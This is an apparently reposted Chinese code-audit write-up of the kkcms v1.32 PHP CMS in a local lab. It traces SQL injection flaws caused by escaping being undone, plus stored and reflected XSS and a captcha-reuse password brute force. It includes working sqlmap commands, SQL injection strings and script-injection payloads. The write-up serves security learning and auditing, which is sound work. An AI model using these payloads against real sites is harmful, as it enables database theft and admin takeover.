本文转载自阿里先知社区
继初次选择xhcms审计审计之后,对代码审计来了兴趣,一处处分析,经历失败,重来,最后找到漏洞点的过程确实很不错。因此,在喜欢xhcms审计结束后就马不停蹄找了个小众一点的cms再开启一次审计,熟悉熟悉,之后计划开始浮现tp,yii之类框架内容,且行且记吧。
目录
审计过程
一、环境安装
直接去github搜一搜kkcms源码,我这里选择了较老的版本:
kkcms-v1.32
github源码地址:https://github.com/erichuang2015/kkcms
安装环境:
使用phpstudy 5.6.27+mysql5.5.53进行搭建(这个cms版本比较老,用php高版本会出问题)。下载后,源码解压到phpstudy根目录,启动phpstudy,访问并安装即可。
ps:(安装时记得提前在phpstudy中mysql管理创建一个数据库(我这里创建一个kkcms数据库使用))
出现这样的界面就安装完成了:
二、先看看目录结构,了解下整体情况
都是些常见目录结构,这里就不一一介绍了。先直接丢进seay审计工具中看一下:
还不少,224个可疑点,那就以这个为线索,慢慢来看:
三、漏洞
SQL注入
ucenter/reg.php
seay报警此文件存在sql注入漏洞,打开看一下代码:
<?php
include('../system/inc.php');
if(isset($_SESSION['user_name'])){
header('location:index.php');
};
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
exit;
}
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
exit;
}
- stripslashes()函数
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
提示:该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
-
trim()函数
trim() 函数移除字符串两侧的空白字符或其他预定义字符(默认为NULL、\t、\n、\r、空格等)。
$username变量经过stripslashes() 函数和trim()函数处理后,单引号包裹带入查询,那么有去除反斜杠,前面因该有addlashes()函数添加反斜杠才对:因此追踪包含文件,../system/inc.php
<?php
require_once('conn.php');
require_once('library.php');
require_once('function.php');
require_once('config.php');
?>
一个个查看,最后在../system/library.php文件中看到:
<?php
if (!defined('PCFINAL')) {
exit('Request Error!');
}
if (!get_magic_quotes_gpc()) {
if (!empty($_GET)) {
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST)) {
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
function addslashes_deep($_var_0)
{
if (empty($_var_0)) {
return $_var_0;
} else {
return is_array($_var_0) ? array_map('addslashes_deep', $_var_0) : addslashes($_var_0);
}
}
定义了addslashes_deep()方法对请求变量进行了转义处理,对预定义符号转义来防注入等攻击,但是。。。。问题来了,联系前面的ucenter/reg.php文件stripslashes()函数的处理,那不就是来了个负负得正吗?先添加转义,然后去除转义,带入查询,相当于没有进行防护,造成注入危险。
直接sqlmap一把梭:抓包保存,sqlmapPOST注入打一下:
可以看到已经成功注入出了数据库,后续时间关系就不等他注完了
payload:
python2 sqlmap.py -r D:\python27\sqlmap\aa.txt -p name --dbs --batch
布尔:
name=1' AND 2309=2309 AND 'tslg'='tslg&email=1@qq.com&password=111&submit=
时间:
name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&email=1@qq.com&password=111&submit=
那么同样的思路,是不是所有引用了stripslashes()函数的地方都应该有同样的漏洞呢?想到就试试:全局搜索stripslashes()有:
果然有发现,进去文件详细审查一下:
ucenter/active.php
<?php
include('../system/inc.php');
$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysql_query("select u_id from xtcms_user where u_question='$verify'");
$row = mysql_fetch_array($query);
ucenter/repass.php
<?php
include('../system/inc.php');
if(isset($_SESSION['user_name'])){
header('location:index.php');
};
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$email = trim($_POST['email']);
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
if(!! $row = mysql_fetch_array($query)){
$_data['u_password'] = md5(123456);
$sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
if (mysql_query($sql)) {
wap/login.php
<?php include('../system/inc.php');
$op=$_GET['op'];
if(isset($_POST['submit'])){
null_back($_POST['u_name'],'请输入用户名');
null_back($_POST['u_password'],'请输入密码');
$u_name = $_POST['u_name'];
$u_password = $_POST['u_password'];
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
$result = mysql_query($sql);
if(!! $row = mysql_fetch_array($result)){
$_data['u_loginnum'] = $row['u_loginnum']+1;
$_data['u_loginip'] =$_SERVER["REMOTE_ADDR"];
$_data['u_logintime'] =date('y-m-d h:i:s',time());
if(!empty($row['u_end'])) $u_end= $row['u_end'];
if(time()>$u_end){
$_data['u_flag'] =="0";
$_data['u_start'] =="";
$_data['u_end'] =="";
$_data['u_group'] =1;
}else{
$_data['u_flag'] ==$row["u_flag"];
$_data['u_start'] ==$row["u_start"];
$_data['u_end'] ==$row["u_end"];
$_data['u_group'] =$row["u_group"];
}
mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
$_SESSION['user_name']=$row['u_name'];
$_SESSION['user_group']=$row['u_group'];
if($_POST['brand1']){
setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365);
setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365);
}
header('location:user.php');
}else{
alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
}
}
if(isset($_POST['reg'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
这三个文件中都引用了同一个../system/inc.php文件,即用addslashes_deep()方法进行变量转义处理防注入,且可控变量都同样经过stripslashes()逆转义处理,也就是同样的“负负得正”,因此,这三个文件中都一定存在如上的sql注入漏洞。这里就不进行重复造轮子去复现了。
template/wapian/vlist.php
seay报sql注入,打开代码瞧瞧,关键处:
<?php
if ($_GET['cid'] != 0){
?>
<?php
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
while ($row = mysql_fetch_array($result)){
echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
}
?>
这里对$_GET['cid']变量进行一个判断,不为零就直接单引号包裹带入查询中,这简直就是没有任何防护,那么,根据前面的经验,只要没有引用../system/inc.php文件,即用addslashes_deep()方法进行变量转义处理防注入,那么不久可以直接开始注入了?看看去:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<?php include 'head.php';?>
<title>视频列表-<?php echo $xtcms_seoname;?></title>
<meta name="keywords" content="视频排行,<?php echo $xtcms_keywords;?>">
<meta name="description" content="<?php echo $xtcms_description;?>">
</head>
<body >
<?php include 'header.php'; ?>
<div class="container">
<div class="row" style="margin-top:10px"><?php echo get_ad(18)?></div>
<div class="row">
向上查找,到文件头,果然没有发现任何引用../system/inc.php文件的迹象,hahaha,注入到手咯,实现一下:
直接访问文件路径,截取GET变量cid,sqlmap梭一把,
python2 sqlmap.py -u "http://127.0.0.1/template/wapian/vlist.php?cid=1" --dbs --batch
直接出结果,下一个
admin/cms_backup.php
seay报注入漏洞,我们先看看关键代码:
$q1=mysql_query("show tables");
while($t=mysql_fetch_array($q1)){
$table=$t[0];
$q2=mysql_query("show create table `$table`");
$sql=mysql_fetch_array($q2);
$mysql.=$sql['Create Table'].";\r\n";
$q3=mysql_query("select * from `$table`");
while($data=mysql_fetch_assoc($q3)){
$keys=array_keys($data);
$keys=array_map('addslashes',$keys);
$keys=join('`,`',$keys);
$keys="`".$keys."`";
$vals=array_values($data);
$vals=array_map('addslashes',$vals);
$vals=join("','",$vals);
$vals="'".$vals."'";
$mysql.="insert into `$table`($keys) values($vals);\r\n";
}
}
array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。
提示:您可以向函数输入一个或者多个数组。array_map(myfunction,array1,array2,array3...)
可以看到,$vals变量经过array_map() 函数处理后,全部经过了addlashes()转义处理来防止注入(addslashes() 函数返回在预定义字符(单·双引号、反斜杠(\)、NULL)之前添加反斜杠的字符串。),之后经过$vals="'".$vals."'";语句处理,添加单引号包裹,就完全杜绝了sql注入的可能性,无法构造闭合。(ps:要是这里没有添加单引号,此处语句括号闭合不在该函数的预定义字符内,则就实际上等于没有防护到,还是可以注入,十分可惜)。另一个变量$keys几乎是一样的情况,甚至防护更严格,因此也不存在注入,综上,此处属于seay的误报。
不纠结,下一处:
/template/wapian/vlist.php
直接看关键代码:
<?php
if ($_GET['cid'] != 0){
?>
<?php
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
while ($row = mysql_fetch_array($result))
{
echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
}
?>
对$_GET['cid']变量,不经过滤,直接单引号包裹,文件头没有引入转义函数文件,带入查询,典型的sql注入:sql注入(但是这里审计出来的代码闭合方式应该是单引号闭合,但是测试却失败了,这是怎么回事?)sqlmap跑一下看看:
python2 sqlmap.py -u "http://127.0.0.1/template/wapian/vlist.php?cid=1" --dbs --batch
可以看到,注出了数据库,payload:
cid=1) UNION ALL SELECT NULL,NULL,CONCAT(0x7162717a71,0x4572725a7062476e5a734c4f51454742724f4579755449744967454b6a695461545a4857576a7952,0x7170706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
(闭合竟然是小括号?)这是为什么?先放过,之后再来研究。
visit.php
这个文件有注入漏洞,那么自然有理由推断,引用这个文件的文件也有相同的漏洞,所以全局搜索template/wapian/vlist.php文件,然后发现:
在很多文件如:
seacher.php, tv.php, ustv.php, wxseacher.php,vlist.php等文件中都有相同引用:
include('template/'.$xtcms_bdyun.'/wxseacher.php');
这里的$xtcms_bdyun向上回溯实际上就是wapian,是从xtcms_vod_class这个数据库表中查询出的数据,因此是固定的。但是,在这些文件中,大部分都有关于include('system/inc.php');文件的引用,我们知道system/inc.php文件中又有require_once('function.php');文件的引用,即进行转义处理,也就断绝了sql注入。而只有visit.php这个文件中,代码如下:
<?php
if ($_GET['cid'] != 0){
?>
<?php
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
while ($row = mysql_fetch_array($result)){
echo '<a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">'.$row['c_name'].'</a>';
}
?>
并没有对转义文件的引用,因此肯定存在该注入漏洞,直接sqlmap 跑一下,即可。
admin/cms_book_edit.php
<?php
$result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');
if ($row = mysql_fetch_array($result)){
?>
有数据库交互,单引号闭合,不过文件头引入了../system/inc.php文件进行转义防注入处理,因此属于seay误报,同样的情况在
admin/cms_ad_edit.php
admin/cms_admin_edit.php
等文件中也相同出现,都有转义引用,而没有stripslashes() 函数去除预定义字符的处理,因此这写文件中的报洞都属于误报。
admin/youlian_edit.php
<?php
if (isset($_POST['save'])) {
$_data['content'] = $_POST['content'];
$_data['Reply'] = $_POST['Reply'];
$sql = 'update xtcms_youlian set ' . arrtoupdate($_data) . ' where id = ' . $_GET['id'] . '';
if (mysql_query($sql)) {
alert_href('修改成功!', 'cms_youlian.php');
} else {
alert_back('修改失败!');
}
}
$_GET['id']变量单引号闭合带入查询,且文件未引入转移保护,存在注入,sqlmap直接跑:
python2 sqlmap.py -u "http://127.0.0.1/admin/youlian_edit.php?id=1" --dbs --batch
直接出数据库
admin/ad_edit.php 引用了模块文件admin/model/ad_edit.php
#admin/model/ad_edit.php
<?php
if (isset($_GET['del'])) {
$sql = 'delete from xtcms_ad where id = ' . $_GET['del'] . '';
if (mysql_query($sql)) {
alert_href('删除成功!', 'cms_ad.php');
} else {
alert_back('删除失败!');
}
}
if (isset($_POST['save'])) {
null_back($_POST['title'], '请填写广告名称');
$data['title'] = $_POST['title'];
$data['pic'] = $_POST['pic'];
$data['url'] = $_POST['url'];
$data['catid'] = $_POST['catid'];
$sql = 'update xtcms_ad set ' . arrtoupdate($data) . ' where id = ' . $_GET['id'] . '';
if (mysql_query($sql)) {
alert_href('广告修改成功!', 'cms_ad.php');
} else {
alert_back('修改失败!');
}
}
同样的问题,可控变量直接拼接进查询,没有任何过滤,同样没有引入转义函数文件,应该存在注入,直接sqlmap一把梭。(而且这里还不只$_GET['id']一个变量,还有$_GET['del']变量可以同样的方式利用来注入)
payload:
python2 sqlmap.py -u "http://127.0.0.1/admin/ad_edit.php?id(或者del)=1" --dbs --batch
/admin/cms_usergroup.php 引用模块文件admin/model/usergroup.php
<?php
if ($_GET['del'] == 1) {
alert_back('默认会员组不能删除!');
} else {
if (isset($_GET['del'])) {
$sql = 'delete from xtcms_user_group where ug_id = ' . $_GET['del'] . '';
if (mysql_query($sql)) {
alert_href('删除成功!', 'cms_usergroup.php');
} else {
alert_back('删除失败!');
}
}
}
if (isset($_POST['save'])) {
null_back($_POST['ug_name'], '请填写名称');
$data['ug_name'] = $_POST['ug_name'];
$str = arrtoinsert($data);
$sql = 'insert into xtcms_user_group (' . $str[0] . ') values (' . $str[1] . ')';
if (mysql_query($sql)) {
alert_href('添加成功!', 'cms_usergroup.php');
} else {
alert_back('添加失败!');
}
}
一模一样的问题,但是这个主文件/admin/cms_usergroup.php中引用了转义文件来防注入,此处又进行了单引号包裹,应该是杜绝了sql注入的道路了呀,但是我看网上的师傅们又直接用类似
id=1%20and%20ascii(left(database(),1))=106--+ #回显错误
id=1%20and%20ascii(left(database(),1))=107--+ #回显正常
证明数据库第一个字母为k
或者
?del=2%20and%20sleep(10)延时
的payload 成功进行了sql注入,我进行复现也确实能做到,可这和前面的分析互相矛盾了呀,这是为什么呢?有大师傅知道可以讲解一下吗?
那么按照相同的思路,去查找到了后台所有的删除有关的文件,发现情况都是一样,因此这个cms存在一个全后台的delete删除的注入漏洞。
XSS
/youlian.php 存储型xss
<?php
include('system/inc.php');
if(isset($_POST['submit'])){
null_back('admin','.');
null_back($_POST['content'],'你的链接及网站名');
$data['userid'] = $_POST['userid'];
$data['content'] =addslashes($_POST['content']);
$data['time'] =date('y-m-d h:i:s',time());
$str = arrtoinsert($data);
$sql = 'insert into xtcms_youlian ('.$str[0].') values ('.$str[1].')';
if(mysql_query($sql)){
alert_href('申请成功!请耐心等待管理员核实!谢谢!','youlian.php');
}
else{
alert_back('申请失败!请联系网站底部邮箱申请吧!');
}
引入转义文件转义防sql注入,变量content经过null_back()函数处理,(该函数可以全局搜索到定义,作用是判断字符串内容是否为空,没有任何过滤)又使用addlashes()方法处理变量,防注入,其他变量都没问题,但这个$_POST['content']变量,不是又经过了双层转义处理?那么对xss的防御效果自然就没了,而且这里和后台交互,应该可以形成一个存储型xss:
payload:
<script>alert(/123456/)</script>
留言,然后进后台查看,成功弹窗,存储型xss一枚:
同样的思路,直接全局搜索
<?php echo $_GET[
直接输出的地方是xss常出现的地方:
有收获,一个个看:
/admin/cms_kamilist.php 反射型xss
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
?>
<?php include('inc_header.php') ?>
<!-- Start: Content -->
<div class="container-fluid content">
<div class="row">
<?php include('inc_left.php') ?>
。。。。
。。。。
。。。。
<a class="btn btn-info" href="cms_dao.php<?php if (isset($_GET['id'])) { echo '?cpass='.$_GET["id"];}?>"><span class="icon-plus-square">导出</span></a>
</div>
中间不重要,我们直接省略,看关键位置。$_GET['id']变量经过判断,若果存在,引入转义文件过滤预定义字符(但我们知道,该方法对xss的防御力几近于无)然后对变量直接输出,这就造成了一个简单的反射型xss
构造闭合payload,成功get一枚反射性xss
?id="><script>alert(/1/)</script>
同样的方法
/wap/shang.php 反射型xss
同样的漏洞原理,这里就不赘述了,直接看效果
payload:
?fee=<script>alert(/wowoowo/)</script>
/wap/movie.php
/wap/tv.php
/wap/zongyi.php
/wap/dongman.php 反射型xss
这几个文件都有同样的xss漏洞,形成原理也一样,就拿其中一个进行分析。查看movie.php 里的内容。
#/wap/movie.php
<?php include('../system/inc.php');
include '../system/list.php';
$page=$_GET['page'];?>
<?php
$b=(strpos($_GET['m'],'rank='));
$ye=substr($_GET['m'],$b+5);
?>
<a <?php if ($ye=="rankhot"){echo 'class="on"';}elseif($ye=="createtime" or $ye=="rankpoint"){}else{ echo 'class="on"';};?> href="?m=/dianying/list.php?rank=rankhot">最近热映</a>
<a <?php if ($ye=="createtime"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=createtime">最新上映</a>
<a <?php if ($ye=="rankpoint"){echo 'class="on"';}else{};?> href="?m=/dianying/list.php?rank=rankpoint">最受好评</a>
发现了$_GET['page']和$_GET['m']变量,并引入转义文件进行转义防注入处理(sql),看来有戏,找找输出:
<?php echo getPageHtml($page,$fenye,'movie.php?m='.$yourneed.'&page=');?>
根进getpageHtml函数 文件在system/function.php,仔细查看发现它并没有对传参进行完整的过滤,因此也就造成了XSS漏洞,但还是没找到输出点,怎么办?
没办法,只好结合黑盒方法,访问页面,关键字查找输出点了:访问:
http://127.0.0.1//wap/movie.php?m=aaa
然后ctrl+F,查找(?m=aaa),终于发现输出点:
<a style="background:#FF9900;"><font color="#fff">1</font></a></li><li><a href="movie.php?m=aaa&page=2">2</a></li><li><a href="movie.php?m=aaa&page=3">3</a>
构造闭合,打一打:
payload: ?m="><script>alert(/wowowo/)</script>
成功弹窗,反射型xss到手
/book.php 和/wap/book.php 存储型xss
查看文件,关键代码:
<?php include('../system/inc.php');
if(isset($_POST['submit'])){
null_back($_POST['userid'],'请输入姓名');
null_back($_POST['content'],'请输入内容');
$data['userid'] = $_POST['userid'];
$data['content'] =addslashes($_POST['content']);
$data['time'] =date('y-m-d h:i:s',time());
$str = arrtoinsert($data);
$sql = 'insert into xtcms_book ('.$str[0].') values ('.$str[1].')';
if(mysql_query($sql)){
alert_href('留言成功!小的马上为您准备相关资源!','book.php');
}
else{
alert_back('抱歉!服务器好像开小差了呢!');
}
}
?>
.....
.....
.....
<?php
$sqll = 'select * from xtcms_book order by id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sqll)));
$result = mysql_query($sqll.' limit '.$pager[0].','.$pager[1].'');
($row= mysql_fetch_array($result)){
?>
<div class="stui-pannel stui-pannel-bg clearfix"><div class="stui-pannel-box clearfix"><div class="col-pd clearfix"><ul><li class="topwords"><strong><u><?php echo $row['userid'] ?></u> 说:</strong></li><li class="top-line" style="margin-top: 10px; padding: 10px 0;"><?php echo $row['content'] ?><br/><font color=red></font>
</li></ul></div></div></div><hr><?php } ?>
<ul class="stui-page text-center"><div style='margin:50px auto;text-align:center'>
<?php echo page_show($pager[2],$pager[3],$pager[4],2);?>
对传入的$_POST['content']变量经过null_back()、addslashes()等方法进行处理,又引入转义文件转义处理,同样的情况我们在之前的/youlian.php 存储型xss部分已经提到过,即经过一系列处理,该变量实际上进行了一次我称之为“负负得正”的转义操作,相当于没有防范,又和后端数据库进行了交互,所以此处就形成了一个存储型xss,访问该文件,构造闭合,形成payload进行攻击尝试:
</li><script>alert(/wowo/)</script>
再想,这里是留言板,那么后台应该也会引用这里的留言内容,方便管理员进行管理,因此查找到后台对应文件:
/admin/cms_book.php 存储型xss
访问,果然弹窗。
具体代码:
<?php
include('../system/inc.php');
include('cms_check.php');
error_reporting(0);
include('model/book.php');
?>
<?php include('inc_header.php') ?>
。。。。
。。。。
。。。。
<?php
$sql = 'select * from xtcms_book order by id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
while($row= mysql_fetch_array($result)){
?>
<tr>
<td><div class="checkbox-custom checkbox-default">
<input type="checkbox" name="id[]" value="<?php echo $row['id'] ?>" /> <label for="checkboxExample2"></label>
</div></td>
<td><?php echo $row['content'] ?></td>
<td><?php echo $row['userid'] ?></td>
<td>
<?php echo $row['time'] ?>
<td><a class="btn btn-danger" href="cms_book_edit.php?id=<?php echo $row['id']?>">
<div class="page_show"><?php echo page_show($pager[2],$pager[3],$pager[4],2);?> </div>
<?php include('inc_footer.php') ?>
逻辑就是将之前存在数据库中的留言直接取出,引入对xss无用的转移文件处理,检查登录状态,之后直接将取出的数据输出,这就复合上面的分析,形成了一个存储型的前台后台通吃的xss漏洞。
/wx_api.php 反射性xss
public function valid()
{
$echoStr = $_GET["echostr"];
if($this->checkSignature()){
echo $echoStr;
exit;
}
接收$_GET["echostr"]变量,经checkSignature()方法处理后,直接输出,而checkSignature()方法
private function checkSignature()
{
// you must define TOKEN by yourself
if (!defined("TOKEN")) {
throw new Exception('TOKEN is not defined!');
}
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
// use SORT_STRING rule
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if( $tmpStr == $signature ){
return true;
}else{
return false;
}
}
其中并没有对变量的具体内容的过滤,因此这就是一个简单的反射型xss:
payload: 成功弹窗
?echostr=<script>alert(/wowowo/)</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709
xss找了这么多,很多都是在重复造轮子(这个cms版本很老),没意思,找找别的漏洞看看:
验证码重用
/admin/cms_login.php
<?php
require_once('../system/inc.php');
if(isset($_POST['submit'])){
if ($_SESSION['verifycode'] != $_POST['verifycode']) {
alert_href('验证码错误','cms_login.php');
}
null_back($_POST['a_name'],'请输入用户名');
null_back($_POST['a_password'],'请输入密码');
null_back($_POST['verifycode'],'请输入验证码');
$a_name = $_POST['a_name'];
$a_password = $_POST['a_password'];
$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
$result = mysql_query($sql);
if(!! $row = mysql_fetch_array($result)){
setcookie('admin_name',$row['m_name']);
setcookie('admin_password',$row['m_password']);
header('location:cms_welcome.php');
}else{
alert_href('用户名或密码错误','cms_login.php');
}
}
?>
在登陆界面检验session和传入的verifycode是否相等,如果访问失败,就会会进行刷新跳转,然后重新执行一次JS代码,
搜索关键词,看看这个js是干嘛的,在../system/verifycode.php文件中,发现
<?php
session_start();
$image = imagecreate(50, 34);
$bcolor = imagecolorallocate($image, 0, 0, 0);
$fcolor = imagecolorallocate($image, 255, 255, 255);
$str = '0123456789';
$rand_str = '';
for ($i = 0; $i < 4; $i++){
$k = mt_rand(1, strlen($str));
$rand_str .= $str[$k - 1];
}
$_SESSION['verifycode'] = $rand_str;
imagefill($image, 0, 0, $bcolor);
imagestring($image, 7, 7, 10, $rand_str, $fcolor);
header('content-type:image/png');
imagepng($image);
?>
js引用该文件生成四位随机数作为验证码,这里有一点就是:burp默认不解析js,而文件中也没有时间限制,那么我们就可以用burp抓包,摒除js,重用该验证码对后台密码进行爆破,实现一下:
添加爆破位置
我这里为了演示效果,因此字典里我就随便写几个密码,把正确密码放进去,进行爆破演示
可以看到,成功爆破出后台密码123456.
上传漏洞
到这里,我能找到的关于这个cms的漏洞就结束了,另外,在网上看到师傅们还发现有一个上传漏洞,分析我就不献丑了,链接给出来,大家可以参考一下
最后回顾
- 这次这个cms代码审计,整体比第一次要熟悉了不少,审出了一些sql和存储xss漏洞,还是不错的。但是同时,也暴露了很多问题,比如php代码功底不够,对很多函数一知半解,甚至完全没有认识,这就导致不停的查查查,效率狂降,心态爆炸。
- 另外,这次审计中还留下了两个问题有待研究,去好好学习一下,之后有机会一定还要再来回顾这个cms的审计,期待可以发现更多的问题。
- 还有,有一点想法,程序员在写代码结构的时候一定要注意统观全局,否则就容易出现这个cms中“负负得正”逻辑错误,导致防护到最后白干一场。